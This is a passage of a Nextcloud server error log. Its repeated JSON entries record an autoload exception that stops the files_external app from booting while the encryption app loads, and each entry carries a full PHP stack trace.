o/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"AWb6FjLFafEnpWPbRtHC","level":4,"time":"2022-11-09T12:55:39+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/apps/encryption/ajax/getStatus","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"KQSGfzSwMuHIRcwjz8rb","level":4,"time":"2022-11-09T12:55:39+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/core/preview?fileId=927&x=250&y=250","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"QkyaxwpMKUPtsgGIBATG","level":4,"time":"2022-11-09T12:55:40+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/core/preview?fileId=926&x=250&y=250","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"Rw6Qy2Q3WoMyZwnTU8dI","level":4,"time":"2022-11-09T12:55:40+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/core/preview?fileId=925&x=250&y=250","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all 